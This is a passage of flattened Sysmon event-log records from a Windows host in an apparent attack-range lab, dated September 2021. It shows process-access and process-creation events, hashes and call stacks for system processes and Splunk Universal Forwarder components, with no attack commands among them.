Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=530211E4A54CB0110E88B7E63D4F6E16,SHA256=B6E7C5E702F907AC5CB8F9E5CF46474F30770684C2F892CF8DE5F096D2E043F9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014407Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.757{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=92CD496D96EFB4990CD306429DFA70B2,SHA256=BE3E87417B1AB3A7B54F517EDF369EDCB9C1CC413195D9EB2C80C26102AD7963,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014406Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.757{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B3BDC2DFAE2E95F15E038B7604CE1D02,SHA256=A73B150236D61B1E84582A6AD0FD942BA97CBB788C1B2A72E3635699AF79A949,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014405Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7004-613B-AB04-00000000F101}3372C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014404Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014403Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014402Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014401Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014400Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014399Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014398Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014397Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014396Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014395Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7004-613B-AB04-00000000F101}3372C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014394Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.725{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7004-613B-AB04-00000000F101}3372C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014393Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.726{625C326B-7004-613B-AB04-00000000F101}3372C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000014392Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.460{625C326B-7004-613B-AA04-00000000F101}39362020C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014391Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7004-613B-AA04-00000000F101}3936C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014390Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014389Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014388Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014387Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014386Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014385Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014384Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014383Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014382Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014381Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7004-613B-AA04-00000000F101}3936C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014380Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.225{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7004-613B-AA04-00000000F101}3936C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program 